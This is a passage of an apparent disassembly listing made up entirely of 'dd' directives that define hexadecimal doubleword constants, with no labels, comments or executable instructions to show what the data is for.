7DD711A3h, 3E0CD16Eh dd 0A9C21BD5h, 0E4476F8Fh, 0EA2430ADh, 794C1FFCh, 3A990BC8h dd 0FFE26B9Fh, 0FA2AC5CDh, 0D5C2FC2Ah, 0B6867218h, 0E11E88BDh dd 2FE922A6h, 21109328h, 0CE1F584h, 0ED5B4DB5h, 0C23DEC4Bh dd 4DCB454Ch, 0D147375Ch, 0FAEBAC15h, 8C250434h, 0C64CA703h dd 0A2634091h, 0A5205B10h, 5F11A2EAh, 0A97BC4CBh, 0D853E8E5h dd 6A358946h, 18AD4FA9h, 72C94B83h, 49D20145h, 4F2B9C72h dd 0D1E557F0h, 42D48C4Fh, 0CA5EF473h, 0E2E4CCE3h, 13B1D40Ch dd 9941268Dh, 88E32E7Fh, 0C2B40FA6h, 65E8F348h, 0C19DA168h dd 2B5EE671h, 0C6F95897h, 0DF138A90h, 6D1C7CE8h, 0E9CBCFC6h dd 2DFBA729h, 0F565E8F8h, 0C0CCDF79h, 0B407618h, 40F65D7Eh dd 23FF6B39h, 11553E27h, 18529129h, 7A46F03Dh, 7C2955DEh dd 86D163E5h, 0A4D130FDh, 9B45D53Ah, 422F53C1h, 2D45A1F8h dd 3374844Bh, 0BA2AA3A6h, 31A57C0Bh, 1A6E617h, 5E257BDEh dd 84D92954h, 185001B9h, 0CDAEDA01h, 80D4B41Ah, 98BEC0EBh dd 83CAABD1h, 53444036h, 0FDAC406h, 2673ABB9h, 52E00FAAh dd 5580CAEEh, 0DE80132Ah, 2573D81h, 2059D3EAh, 4C8FD8EBh dd 0DEBECD2Ah, 50608D02h, 2D1B52FFh, 0D13E9554h, 0DA390CDAh dd 5771DA4Ch, 0B2887D50h, 0E6D84135h, 0DA3C5D1h, 7B1A0FA8h dd 0FC32B664h, 68C409CFh, 0E99430E9h, 4B6B281Eh, 3B55459Ah dd 36E2C23Dh, 192332BAh, 8C5BB59h, 1F72C77Fh, 42565291h dd 7937F316h, 73242F9Bh, 26724553h, 7C15FA66h, 0F913999Bh dd 2A2BDCE7h, 49E4E9E3h, 0E72E4A3Eh, 0BC85C336h, 3416B17Fh dd 0FC193E90h, 23D2F12Dh, 95693E8Ah, 8A2C704h, 0CDAA8E99h dd 0A4D66D08h, 9FCCCD2Ah, 0E4851A8Ah, 0F479D31Ah, 2F05CB96h dd 0A921D4FCh, 1EEAB05h, 55F33877h, 0DB3B9B11h, 0BD4D1B98h dd 0AAE388F5h, 0A9F92520h, 0CB04638Bh, 0FF48CAF0h, 0BF810C21h dd 28BC28D3h, 34C06616h, 7569AE2Fh, 0A53B4530h, 2C06B402h dd 5BA1CF6Ah, 2A716226h, 54689A57h, 0A8AC5C23h, 441347A9h dd 0C054CE4Eh, 0CC4E8CA2h, 7A4AD57Ch, 0DB0CDB84h, 8CEDDCCEh dd 0AEA1D2BCh, 0BD83A463h, 869523A3h, 69F985Ch, 0FCE4E078h dd 328E403Ah, 0C47A0702h, 0AAEDEBD9h, 72395E9Ch, 0F6667737h dd 0A9A6C8F1h, 32236B26h, 4FB1FEC8h, 7DE6FD1Fh, 52508F4h dd 98D337C5h, 2F4CDCDh, 8D79AEAFh, 2895F977h, 9806DA0Ch dd 940AE334h, 0D1605744h, 9BB500AAh, 9A9D38F7h, 1961A030h dd 8A9267F4h, 0D8392C82h, 0AB80FC32h, 970228C1h, 0BFC41B66h dd 0A7F7DD3Dh, 1278F288h, 0CD2A481h, 0E4938FD3h, 8CC9E6EAh dd 5DE2348Eh, 3D68D105h, 0F5497599h, 0A6C68312h, 0FE215FCDh dd 0DE866915h, 55DE5455h, 72D7C073h, 9C5586F9h, 82661577h dd 9716999Eh, 743D9529h, 0E03CB451h, 68EAB6CFh, 0F633C149h dd 0DB36657h, 2822F9CAh, 755028E4h, 0CA826034h, 0CCA736Ch dd 0E6B60BDBh, 6A18A306h, 957BDA9Fh, 6719B9F8h, 188F5E9Fh dd 50FC553h, 0CA8F4AADh, 0C363B99Fh, 45F54AC0h, 0F21FB2BCh dd 0AF42B18Fh, 1A1484E1h, 750AA471h, 0CE9404BCh, 1F7C45D7h dd 2A7FC469h, 4B94EEE1h, 1F9DD045h, 19C0510h, 1177D23Ch dd 6571EF5h, 5EC0DB9Ch, 81F9FD05h, 0D1826811h, 578DF36h dd 0A8C247FDh, 0A0C94B20h, 0A79F2EFFh, 87304B52h, 1085CA74h dd 22B6832h, 0EC2C407Ch, 0B8084297h, 345D6AF6h, 195DD445h dd 0BC1E8EE3h, 0A144A2EAh, 0A80832BAh, 57F3E328h, 6485F206h dd 0C453D74Fh, 52086229h, 0D7ECC6EEh, 8E912880h, 0D63DCC32h dd 62E147F8h, 0D8099546h, 0A7D4FF4Fh, 10719B0Ah, 3BD7C393h dd 0F7ECDFBFh, 47B71A54h, 0BF28C3A2h, 0B8BD1330h, 23F62A29h dd 6D797CD0h, 0AF1945DFh, 0C6534C37h, 2453C460h, 0AD5D0D98h dd 4F7D0D6Bh, 9420A980h, 66D37A45h, 420C5EFEh, 0E0040089h dd 61C91530h, 57797D46h, 4CC20766h, 80A2BED7h, 4E2A698Dh dd 0D0ABCE83h, 0A7D3BE08h, 99C4BAB6h, 2990F4AEh, 4E392D43h dd 0ABEECC2Ah, 8193FDF4h, 8A6316B4h, 154486D0h, 0F118429Bh dd 0E473847Dh, 9F845B42h dd 603430B2h, 19632D29h, 285AB6A0h, 0F4853D3Fh, 0DA8BD173h dd 2DC8B11Ah, 42DEDFC4h, 45EFB9FDh, 145C8D70h, 0C91AF217h dd 8D082A85h, 0AA9BE689h, 745BFA83h, 6B5AE8F9h, 47949839h dd 22B6D68h, 0A1528AEBh, 0D3844716h, 0BB93889Fh, 0E259D23Ah dd 95C238FCh, 29603388h, 0DEF1E935h, 0C47A445Dh, 4384A61h dd 92B4CDC7h, 0D871131Ah, 6F0769E9h, 0EFA35A9Fh, 0AA1E8B22h dd 9CA6FF8Fh, 0E8257616h, 8E02E32Eh, 11EA3BADh, 4F6E2541h dd 5441C9F5h, 0D462A402h, 0EC799BE5h, 1050C3Eh, 690C813Bh dd 0C49CB02h, 0B6350C96h, 0F812824Dh, 13B7BA60h, 0E3E0BC48h dd 96CE7D53h, 687377ADh, 0E9F82217h, 881000h, 6057702Bh dd 482C1AB1h, 1286C1F4h, 8CC2FA4Dh, 0E433DFD1h, 496DB03Ah dd 0E205308Eh, 37FC134Eh, 0E1E3B6D0h, 79B7379Fh, 0ADB22D82h dd 0AAEC67C0h, 0BE45EBA4h, 5DA24BA5h, 19754EA6h, 48BF97B9h dd 0E031E9D7h, 0D11F0D3Ch, 94F3E2A6h, 0FD4D23D4h, 0B46748C4h dd 75C4524Ch, 29180105h, 1A5FFEA2h, 512B9B50h, 3A33FAFAh dd 43C0E5DCh, 0B2228AB1h, 6CD174BAh, 1F0A3B32h, 472E2F92h dd 62857988h, 6B39B197h, 3CF832EBh, 0F0EB2D81h, 0C068B451h dd 0E0116FA2h, 0F0FA98h, 338A2C01h, 0F4802A4Eh, 0D3FBB45h dd 0D286E220h, 0FDB7B6EAh, 310615F1h, 6EAD5E9Eh, 713EB3FBh dd 0BDCD2C0Ah, 7FC59D8Eh, 3D9412Ch, 726896A0h, 33E2767Ch dd 20D6C2BEh, 9824D246h, 34F67CEh, 7C33A448h, 193FEC0Bh dd 493368E0h, 0C61FB122h, 0B4D189DEh, 4C0CE3A8h, 0C9C714F4h dd 6172D5ECh, 62297E80h, 0EE3A07F9h, 114FE463h, 0F1D48B4Fh dd 8A77030Fh, 0A9CB5A50h, 4A8011E3h, 0CE221A8Dh, 0CE483130h dd 0ED577B00h, 9A018CA1h, 18E5F897h, 339F90h, 771188DEh dd 0D1089E23h, 3FF4861Ah, 0D0D4CBADh, 8A3E177h, 3BF7591Bh dd 91A0974Bh, 9DA83386h, 0F9965EBAh, 7975ADA3h, 89027E3Dh dd 57D24886h, 86595C21h, 598A4DEFh, 0F045F999h, 1F171291h dd 52269571h, 970F5404h, 5DE9AFB0h, 0E20249B5h, 95C943D7h dd 519C5774h, 0F4C7A415h, 48F893ABh, 0C33733Fh, 0EC4EAAE1h dd 4BAE19F6h, 0BEC28312h, 0BB59CBh, 791168E0h, 0FE2CDFACh dd 0B2EB66Bh, 693218DAh, 0E7AF8080h, 0EC8880C5h, 7130C2BBh dd 519F8261h, 0FB4E95A2h, 0E6FAA0AEh, 9768BCAAh, 0ECBA8C1Eh dd 989CBB42h, 62C0F19Ah, 470028F5h, 0C0736D97h, 0F9BFAC60h dd 849D3F4Fh, 2E8AF376h, 0A4A1D0DBh, 2425EC74h, 0A839FDECh dd 867D5ED6h, 0AED3D68Dh, 65285F42h, 7A56AAEEh, 0AF66C4D8h dd 0D26414AEh, 60324BFAh, 61A51A8h, 9EAF5F15h, 0BD5D3120h dd 0F744260Ah, 7E1BD705h, 455F1715h, 7D884613h, 8B4C86E5h dd 0DB582D62h, 9F4C308h, 96CABAF0h, 58B522BAh, 314557B4h dd 46EED5A8h, 0E461195Fh, 0EA68F506h, 0F73310C3h, 9C6CA185h dd 22689AD1h, 835266FEh, 2B2F544Ah, 0B3D806DDh, 7322B9E2h dd 958452D7h, 1994C26h, 455C94CCh, 82AE7DB2h, 0E17FEA4Ah dd 309E9BD4h, 3B2945BDh, 0BF2ED5CAh, 0BFD19F61h, 4D8B197h dd 5B6DE777h, 30547E4Ch, 0C22D1886h, 626387F1h, 90D05BBAh dd 6359008Eh, 0DCED2D8Fh, 247434F5h, 80091746h, 0A0925570h dd 0BA573A7Dh, 5DA23F7Fh, 9D3284E9h, 1DA8C09Ah, 5845A9CAh dd 6E46A0A9h, 0B09968C2h, 274613FAh, 0B08E5DC1h, 11D115Ah dd 52B004CEh, 11F21415h, 46119A46h, 9A46B09Ah, 0B09AF2B0h dd 815F11F2h, 22AF5A2Bh, 93B0604Fh, 22C7BC60h, 3E8BB3BAh dd 56BBD156h, 4745511h, 9738A2D5h, 0BBF58926h, 0C998221Eh dd 0E489A1FAh, 5319A752h, 0EC8955B4h, 1474BDAh, 57FB2C73h dd 934EA55Ch, 3EFC028h, 1D5955AFh, 5D645F02h, 0C9868A93h dd 2B2B3C7Dh, 0D02FAD4Ah, 4844F92Bh, 4FA859E5h, 0C68A776Dh dd 52FB8AF8h, 0E612FED5h, 4ADA0EAh, 9F5F028Eh, 9E72A369h dd 85DB467Eh, 0F49857D6h, 0EDE343A4h, 496AE57h, 0B466FEA8h dd 3F3D4111h, 9B5D3D1Fh, 7DE67F09h, 0D35059DCh, 7BC8CA22h dd 9F442A7Ah, 9F486651h, 686B53A1h, 88231339h, 463C18A2h dd 8A0517B4h, 0CC2EACEh, 0DD600AE3h, 0ED1D6A37h, 810C8FBAh dd 1558E5AFh, 0CE1BC1EEh, 67C1BE77h, 83AED046h, 0CC4DD380h dd 0A280299Fh, 0D82255B8h, 5BF3F3FFh, 88CC34C5h, 0C46FD823h dd 9A23096h, 34D0Dh, 68C33C27h, 0E1DA3704h, 825B09D2h dd 0CF35643Fh, 6F088342h, 0BD84483Eh, 0FF175C80h, 902452ADh dd 0ED18592Dh, 0FD12AEEh, 0B74DEBE0h, 0AA06700Bh, 0B2984570h dd 0A62372BDh, 9A0778DFh, 8C5885A2h, 0A43F4C02h, 7D6FE6B2h dd 0F673098Fh, 0F91EC4AEh, 4273CBE7h, 66B989B0h, 3C09D8F0h dd 99A0D283h, 119C9DDBh, 0CBCF677Fh, 0B5A0FBB8h, 0F0B8980Eh dd 8CC98E81h, 9E04A2EBh, 24239324h, 468BE42Bh, 997C65EEh dd 63B15A00h, 0FAF04A79h, 7A032CB6h, 9AC1960Fh, 0E659504Bh dd 95BF1BF5h, 9221EF64h, 3BC14806h, 0D054D0DAh, 0ED1FAC89h dd 49B499C5h, 0E81BC529h, 8D9EFEAEh, 51657A3Dh, 3FAAAB53h dd 225FF6Ch, 157D4C6h, 0D8C26A63h, 0C69507D1h, 0D74F7ABDh dd 7011D9EDh, 0AB81F227h, 12BB7F02h, 16BEDE82h, 0BB3D3DB0h dd 0BE0988B2h, 0BD41B016h, 0BBA160F4h, 6C1B6AE3h, 0E3284A5Dh dd 15D79FD4h, 9013B60Ch, 2275974h, 15E5362Bh, 4E8251F4h dd 0E606AAB4h, 82FFB88Fh, 70292815h, 12F20FCAh, 0AD57073Ch dd 1D5E85E5h, 0C760AD4h, 5740DA20h, 886612B5h, 0D0D81A6h dd 0B476B605h, 8A1AE02Ch, 0B3141A36h, 0B15E1977h, 0ED0D1B1h dd 0CC17DA35h, 8A1E04CFh, 3C999818h, 1A44609Dh, 0FCC21CB4h dd 0DE9A7E5Ah, 187171D6h, 71C54ED3h, 0CC0A7522h, 5805D945h dd 0D01017E4h, 23564DF5h, 0A8F5E90Ah, 0D357AFABh, 216971E8h dd 0D307E5CBh, 0F878AE93h, 63A8F3D8h, 0D8F2059Bh, 2C60D21Fh dd 9929296Eh, 0C01691D5h, 9DE46E6Ah, 41247811h, 0C7F2C240h dd 1739D9Eh, 5087F44Ch, 1A3DEF7Dh, 0D9207122h, 0F9C2024h dd 62C39E8Fh, 591B426h, 1CF443ACh, 7FF3444Ch, 6BD31C2Eh dd 6C14B208h, 4C02872h, 3BB1251Fh, 0AB93E2ABh, 93EE9038h dd 5E901338h, 5AD1304Eh, 8B58978h, 78D75991h, 0CAEBEDACh dd 7EB350A2h, 68175173h, 7BDFCE8Eh, 0B2AA5151h, 56055150h dd 9B486D07h, 56828AADh, 0BAC666E1h, 709052B5h, 0A7F42C18h dd 59A5615h, 0CF46CA11h, 3BE732BEh, 0AEA2621Bh, 0E88D350Fh dd 2CCF21E3h, 0F67620A3h, 916B3C77h, 6FE22431h, 0EC8ED284h dd 918B6C1Dh, 0C9435C62h, 0C69360F0h, 0B1F4F88Fh, 9ECB63E9h dd 23A250DFh, 0A79577BFh, 9B90FF9Dh, 40170E75h, 2420AB93h dd 0EB204C6Eh, 1DAB252h, 9FBD032Eh, 16348351h, 0AC237766h dd 1681091Ch, 847CE529h, 8125A394h, 25798F30h, 0DD2508ECh dd 70ECF488h, 5D136C82h, 340D318Ch, 6FABB44Fh, 7769B656h dd 2820BCC5h, 3E7BC22Bh, 0F88F7D3Fh, 4C6A3C0Eh, 264E4111h dd 5CCAFB3Ch, 7F6C3421h, 5B11E37Dh, 0EC2780D2h, 7FE2EA8Bh dd 0C8D49975h, 74B8ABE5h, 81166D95h, 259FA8BFh, 86995639h dd 58A0C4B0h, 3DADBC8Fh, 660869B2h, 1F74F85h, 15608AFh dd 187AA218h, 537888F9h, 0A83CAB7Eh, 0AE160BEAh, 3EB742EEh dd 45F519F5h, 0EC742208h, 0A3921929h, 1F5BC6E5h, 1F7AC125h dd 0EB94736Eh, 0FA8ACA8h, 0FC5F673Fh, 0F48EE654h, 0B54E6C88h dd 17CFEB15h, 7A7E5774h dd 3B75BD73h, 0A92CC23Eh, 4FBD98AAh, 89AD9CB2h, 82AD9F5Ch dd 5D9EDE71h, 0FED08D78h, 0D3428AB7h, 0A2875C9Dh, 8205B991h dd 84ED260Ah, 9A17A2E0h, 5DA2352Dh, 230B288Fh, 0EBD0968Bh dd 95C425CDh, 22E4560Dh, 0D9D1DCAAh, 441C3CA4h, 96061C91h dd 0EA8E452h, 0AE148528h, 0B256A399h, 0E920808h, 54208A63h dd 77C188Fh, 118429D1h, 47A5D0E5h, 6C09E910h, 0C512B92h dd 11B008FBh, 2112FC94h, 2F32278Ch, 6404468Eh, 0CC875009h dd 5D69595Dh, 0F05B628Dh, 0AB521304h, 2927240Ah, 0E23E700Fh dd 0E63C55EDh, 0C6D2F50Ch, 0B51E0F71h, 4FAB0267h, 0CD40C1E9h dd 38EF5AA6h, 0AD66CBF1h, 30BDCF17h, 5EC29CC6h, 0E51ABF98h dd 0C580F21Fh, 0D1C01844h, 652CFF07h, 7C9ADADEh, 5A090D52h dd 8B7054CFh, 0F468E287h, 0DC8A2Fh, 701B659Eh, 0B69F7183h dd 0C9769465h, 6929EDA7h, 971E04B3h, 0C60BC35Ah, 3772A512h dd 0C52328EEh, 9D217CF5h, 0F488CEDDh, 0C2721A17h, 8ADA62FFh dd 58E529EBh, 6B2F3F0Ah, 632C5092h, 1A046C17h, 0EC36A3Ch dd 0D6605C0Ch, 55140599h, 85020EF0h, 83164351h, 3775513Ah dd 14179144h, 9B46340Ah, 0A4D3B6CFh, 34F7BC9h, 0A3A3FA88h dd 0E23A791Eh, 27B2970Fh, 0A1D45C0Ch, 97BCFACEh, 4D8D0321h dd 4FA79C05h, 0F7913298h, 0F5134BF8h, 45014987h, 722931FCh dd 42980BD1h, 11676BF7h, 0B4F2C7Dh, 206DBC9Ch, 6136791Bh dd 131D1B38h, 0B3DED07Fh, 67BC7409h, 34BF4605h, 0C81A89A4h dd 0FC2F94A6h, 3E1F7BC9h, 0BF68EF79h, 69A2A757h, 6686F792h dd 4E753DE4h, 8F79B3DEh, 2D7BF8FEh, 16C5FBD7h, 1F7732CCh dd 0E3034E12h, 14C05910h, 35E351EDh, 6681D153h, 0A44D742Eh dd 8AE06412h, 84CBE922h, 2EB5A382h, 88FE7E17h, 6099C7BCh dd 0A28AD8C6h, 29C4953h, 8D3A290Ah, 0E807C434h, 0D4CC754Ch dd 18C044D7h, 0C33CA7AEh, 0B46DF181h, 9AFB401Ah, 0A9D3340Ch dd 0D49060A1h, 0A4647ED5h, 0B0F382FBh, 7520A62Eh, 1E1E1554h dd 69151FAAh, 2E99609Ah, 0B64CAC0Eh, 0F2451766h, 53364CABh dd 49DB33D7h, 0FDD13857h, 3455061Bh, 9847DB02h, 0B04D8A69h dd 878115A9h, 5B33AEDEh, 88B95985h, 5A886732h, 54617588h dd 67FBAA29h, 8ADB3190h, 0F0F6A638h, 9BCB9516h, 0D291314Eh dd 1A6EE69h, 1775FA44h, 9B41331h, 0ACFA05A8h, 98880653h dd 7E9F5A32h, 0F193C1C4h, 5184D117h, 0D6608C3Ch, 6672F30Eh dd 4037F184h, 1413F4E9h, 14083109h, 0B661AB45h, 6282736Bh dd 0D99F6180h, 27688B3Dh, 795C03ECh, 9034C387h, 96702346h dd 1347EBD9h, 98844DCCh, 7F34D22Ch, 0BE8C604Eh, 8BFC5011h dd 6984D728h, 33948680h, 0B3E888FAh, 0F68A60DAh, 497ECF41h dd 3D142120h, 500AF420h, 2B95C685h, 2C1A4220h, 64408522h dd 0B42F5301h, 2EF38B2Bh, 3AA084D9h, 33A92E9Eh, 0CF88F2BEh dd 0BEE598CEh, 2237DC3Ah, 67A6EA9Ch, 160C1003h, 0D781F5FBh dd 0BC76F90h, 44A08ABh, 0F218C86Ch, 0F09B01F1h, 1F21F513h dd 571F303Dh, 0F3688C8h, 0D8B8218Fh, 0B8662C06h, 0CE1E357Eh dd 0A7835AC8h, 21F0D24Ah, 0BBCBA38Ah, 5C86D44Dh, 6A2A8E73h dd 1C271373h, 1849EC1Eh, 0F3FDB01Ah, 4232E4AAh, 0CA2AA01Eh dd 330BBB8Dh, 95D5BA8Bh, 0BFA67007h, 0AC3793E8h, 69207689h dd 0A956E062h, 14410C40h, 0D89DB45Dh, 4D182E4Eh, 5119F916h dd 7C023040h, 61FE7D8Dh, 7F999D42h, 0C86222F4h, 0B73B96E8h dd 184668EBh, 0BC770D26h, 97201B0h, 0F52EE405h, 0C220E36h dd 0CE05B4D6h, 0F4B18430h, 14825E32h, 1D80860Ah, 915C6054h dd 0BB4894CBh, 3CE3D00Ch, 7D7BB07h, 0CB31036Ch, 8AD6960h dd 0F3037A6h, 1482304Dh, 993173C5h, 71A1AC76h, 0A2B7CC17h dd 0AD276D72h, 0B9098736h, 0CF5846B0h, 11DF6A9Ah, 145750F6h dd 8AFEA50Eh, 49A5F3F7h, 0BD767691h, 40523054h, 7EF00142h dd 1C040773h, 0B2892047h, 0E3B44777h, 0F5D72014h, 0A7F58085h dd 0C125D836h, 4B6E1296h, 1FBD3FC8h, 0C9F8B396h, 0A3DD7ABFh dd 0E28DF85Bh, 9CC07E60h, 0FD052F1Dh, 3E1EB6E0h, 0B0250DFFh dd 0D951B55Ch, 0FC2CEDEh, 65CA938Dh, 8EA1721Fh, 1E084A1Bh dd 8843A4C0h, 54CFC01Ah, 1BA8C1E0h, 0D2E93493h, 43348A38h dd 7AACCB63h, 4C5D407h, 0AC5B6273h, 18825CAEh, 91878B4Dh dd 0D4C0124h, 519BA914h, 42940FF1h, 0F1518C33h, 0B546CC57h dd 6327A934h, 0C3A3423h, 0B8C87468h, 81604607h, 0B3246249h dd 0DAB6E601h, 0CDAB5218h, 0B2F6723Ch, 54427262h, 0DAC4310Ch dd 7E8DC03Ch, 0D5915D73h, 73CED4C5h, 1929784Ah, 0AD7255FBh dd 0C069BB65h, 0C64B9C9Ch, 507A648Ch, 1C6245C1h, 10AAC1Ch dd 0D590C0EDh, 4F1553BDh, 0A42518B7h, 0AEE45A22h, 65D284B7h dd 2EF6E2A5h, 0A8A9ED41h, 36651608h, 0DD0ADF45h, 0A2B01202h dd 5924B75h, 5BB273CCh, 70880278h, 85899215h, 167C1D4Ah dd 0C769CAC8h, 12AFA8A9h, 3A4ADE14h, 89D9076h, 341E9D00h dd 184F645Bh, 936E8826h, 0E946E745h, 0EE4B328Ah, 0BA2EC7FCh dd 4DC3A030h, 0C7BDF904h, 874201CBh, 0B6FA5DE3h, 9E664EBh dd 0A4A9736Bh, 8E6BF3DCh, 3976E5FBh, 0DC763D22h, 1355D4AFh dd 0F442030Ch, 0A6F00DAEh, 7EBC960Dh, 8CA3D39Ah, 0BA46D016h dd 0A305101Eh, 799E9670h, 0C4449E5Fh, 0EE8181F1h, 1B0B3D84h dd 40D8BF21h, 5F99D049h, 0CCC10D4Fh, 1E6A5504h, 0A40929C9h dd 38C1D826h, 0AA8475BEh, 4C172280h, 7D4C730h, 0D70FCA83h dd 195D7298h, 9077350h, 306D2E13h, 368298Ah, 30875955h dd 202D07D0h, 0A819C058h, 22065821h, 0EF3C4CE2h, 6AD6A1F0h dd 289BCF1Ch, 0D0385F34h, 0FE3A8574h, 0DCBBC9C1h, 349825B3h dd 358396BCh, 0AE3E39E0h, 28459E18h, 41297767h, 0AE1FA982h dd 7C79A233h, 40553182h, 91C6BAADh, 0ACACEA6Eh, 0EDBD1B6Dh dd 0E7CAAE5h, 0EFC77186h, 0E2FBDC6Ah, 2C1FF5ABh, 0A6D31936h dd 0B2219589h, 5180DCEAh, 0BD0143A7h, 32BF7B03h, 0ACEDAC00h dd 0CB6D9971h, 0A486B868h, 5DD11B76h, 3558EB18h, 905BC68Bh dd 2EAD2EF4h, 0DB0DD8ABh, 8D0156C8h, 1C46543Bh, 12CCAC51h dd 0FB9A121Ah, 0F2D51B5Eh, 2BC54F1Dh, 65FD8A21h, 0E2EFB301h dd 477FAED6h, 38AEF49h, 0AE0DF86h, 17074D23h, 0F12569ADh dd 57F1DE51h, 68EF5589h, 1598F53Ah, 2519F3Ch, 92FEBAFEh dd 0E3F95DAEh, 0BEB20559h, 0DB0AEBEBh, 2B9C9559h, 701A2A1Bh dd 0A7D43010h, 0EF790D87h, 0A3E1A194h, 540D1770h, 60318B9Ch dd 0AC525B3Eh, 24148A04h, 55EAF550h, 8FF59DEFh, 65AD0EFBh dd 2B91556h, 16BD7D29h, 99D9AA9Eh, 0B552D2C4h, 53551B3Eh dd 0B32D5078h, 61557653h, 1E7D1BF0h, 0BE86731h, 38176AC7h dd 957AC78h, 507FAAECh, 6BDD49F3h, 0B42EED1Fh, 0A53C1D57h dd 3E080644h, 0A4FF3486h, 87D6998Ah, 2290E15Ch, 63869BA6h dd 89AC3DCh, 48EF736h, 2E0CA7FEh, 0BDCECD78h, 0E0606DF4h dd 0D4E4A0C8h, 63065018h, 0A2998D16h, 58C935AAh, 540CBDDCh dd 8F7886DFh, 1B0A736Ah, 0AD9CE0D2h, 4507A601h, 4B3FB8Fh dd 0E98A508Fh, 62202B33h, 94E66DE3h, 1F042FBCh, 5261355Ch dd 0A6321306h, 85D68865h, 0CFD22D48h, 61E240FAh, 0DF301901h dd 0E961B0F4h, 84F0E104h, 29E14199h, 30C67F22h, 1213330Bh dd 8EA6BF48h, 0BCC6C456h, 0CC65F7AEh, 883187A0h, 10AFDC67h dd 452F13F6h, 0AFB631D1h dd 51862D7Bh, 15F2F59Fh, 3751CECBh, 4BEC548Bh, 3A76B818h dd 8E503958h, 96BBDD94h, 0C6CE45F7h, 756AE665h, 8BA8866Ah dd 6063BE36h, 0EC8B59D3h, 2B0BD597h, 0EA13041h, 2CD3A139h dd 0B8AAB4F5h, 50364C13h, 2B5831B0h, 4B83B544h, 40A5A847h dd 0CBF9882Bh, 79365D7Eh, 0E8C29617h, 0D852A4CCh, 0F60F62A1h dd 0B940F748h, 6FFEF361h, 531CCB7Ah, 58AC1237h, 16116C3h dd 5A374877h, 0BBCB2E01h, 6BBAFB8h, 0E9A8D519h, 0FFCC7211h dd 6B261B62h, 1701850Eh, 6F139AA8h, 0A8B4B441h, 190F2156h dd 0D5D96972h, 0CC51C6E5h, 0CDDA4F9Fh, 0F3991964h, 0BFE4FFC0h dd 0B4CC115Fh, 606A090Bh, 590E8215h, 0AA093EF3h, 63A18564h dd 0EF6E1161h, 0C861AE83h, 0DC023265h, 438390FBh, 31B918C2h dd 2471E281h, 10DA265Ch, 9AFB8244h, 0B3A928DEh, 18CDC665h dd 85D10147h, 0D024B8CAh, 0DD339F1Fh, 0D7C4D196h, 0B2A947AFh dd 0FBBC66CAh, 3D8CC452h, 0FD725773h, 0E54A1872h, 31154515h dd 0B8F73AA0h, 0EEC0D441h, 65D0D19h, 0B343BC68h, 0C529F0FFh dd 0C94B6BE9h, 73810CC9h, 8E5AB732h, 70373664h, 0AF81977Ch dd 9025F7EAh, 5A6FAC08h, 7111F5ECh, 0BEA6521Fh, 0B7E9804Ch dd 7942FE62h, 0A3B35Dh, 0ECE38729h, 84420C65h, 3D05F562h dd 0ACB9C15h, 0A1F9715Dh, 0A40C3C19h, 426EFE80h, 7EFEE50Bh dd 0D8F4CEBh, 4E644AC6h, 4D20DFBh, 33AFD2B3h, 0DEB6548Eh dd 0F813718Ah, 3019CD25h, 3813DC72h, 357197Bh, 81593B9Ch dd 6066CDF7h, 19764752h, 0A20900AEh, 5C8AA4Ch, 508D60ECh dd 2E5080FCh, 0AE1075A3h, 31B02203h, 0EE808D38h, 6094E0Ah dd 3868B8EBh, 983DA17h, 221C17C5h, 0A3901984h, 0A49D1F41h dd 0C09AC1F4h, 8FF181A8h, 8209D402h, 674E09FFh, 7640AD75h dd 541C5A15h, 0C3BFF461h, 8E14540Ah, 0B8685461h, 870568B2h dd 60ADEFC2h, 99983D28h, 1F9A6AA6h, 5E372DCAh, 0F2CE30DAh dd 242ECD5Eh, 971B36E1h, 0B9490A5h, 17598294h, 0DAEBD461h dd 61CFDD05h, 18725DEh, 82850385h, 4F5F2379h, 0B8C3A179h dd 172C1590h, 8836794h, 0B810C94h, 8FED3512h, 0C286500Dh dd 11C08048h, 0CB54BCE3h, 0DC262C18h, 422EFEB0h, 75A96E8Ah dd 94CB7365h, 5E6632F9h, 4EB54A85h, 0EE041318h, 68124E1Dh dd 0B5037D8Eh, 13BD4FEDh, 0EBAF0F9h, 9F52F8Bh, 3A5D508h dd 0C4F96874h, 0D106C2E8h, 10CA8A4Ah, 60F07538h, 0F9E1A6D2h dd 0CA44246Fh, 2CA75946h, 72E51E3Bh, 0BBB6691Ch, 9815CECCh dd 4A1DBDA0h, 0B4D05EABh, 0FB51DC60h, 0CB50C08Fh, 0F6D19260h dd 279D5834h, 0B7AF1C81h, 8F2A6470h, 6C6D04E3h, 0CD840DB2h dd 0D7D41760h, 8FB6C950h, 0DDF889E2h, 9D9F75CFh, 862E5DD9h dd 0FC484027h, 477DF0EAh, 4B1FDD5Bh, 6061FA26h, 0C6C285F0h dd 1A4BF8A2h, 0B339406Fh, 41C1575Dh, 0A4FFC1F0h, 4F5834BFh dd 12C8031Fh, 85C32AE0h, 89B4DB86h, 955BABE8h, 0F41B43E0h dd 7D626FC7h, 10C0F7F2h, 0BC20E81Dh, 50D24D0Eh, 2366D714h dd 0EAFC04Dh, 0E10F7A17h, 0BB84C226h, 0BE01A25Dh, 22208248h dd 7B90183Ah, 0F839A1Dh, 1AEA4709h, 0EAFE0689h, 10FC4060h dd 0E76F226Fh, 0E30325EEh, 9A14F35h, 478A22Ch, 528BD7EEh dd 73801AF8h, 87DFB3A1h, 0A99099AFh, 0B7113EA8h, 0C6C39BA7h dd 9D8C3255h, 216CD1D9h, 4264E873h, 30D44F6Eh, 43424E8Dh dd 0C4C222A6h, 37F59EDCh, 1D64595Ah, 26761532h, 0B4AF6E8h dd 63E93318h, 4CD72A64h, 8691EDD4h, 544FFDE8h, 66C65323h dd 89E16EC2h, 644AB6BEh, 71339D1Eh, 0AE6227B7h, 23BE7DD7h dd 2645153h, 90B54F6Fh, 48D28A23h, 1332A2A6h, 0C7F57B79h dd 53C4771Ch, 637E1532h, 0AA18F6F4h, 0E74C7D4Eh, 2B8AEA1Dh dd 13248A99h, 0A5257B7Bh, 5A64308Dh, 0CAE61532h, 99EFDBE0h dd 292C2EA5h, 0CE85E256h, 0A7C57BECh, 32B920A8h, 7ED336FAh dd 3668BA8h, 0CE85E095h, 0D9394F80h, 0F8652129h, 6CB63A6Dh dd 0AA357317h, 999D9F44h, 93B2AAF4h, 0DBF80A43h, 2EB175C4h dd 0C25AD966h, 0DBD239EFh, 0CDFFAE3Eh, 22896FEFh, 827BB3A1h dd 2BB1D93Ch, 59157113h, 94F6097Fh, 54E2327Dh, 122AEC26h dd 0E9ED9448h, 0C0F96521h, 8454EC4Ch, 13DBB43Dh, 0C8FDCA51h dd 0EDD08099h, 9D94F4FCh, 0B7515228h, 0CDF0BC27h, 532833CDh dd 943FC851h, 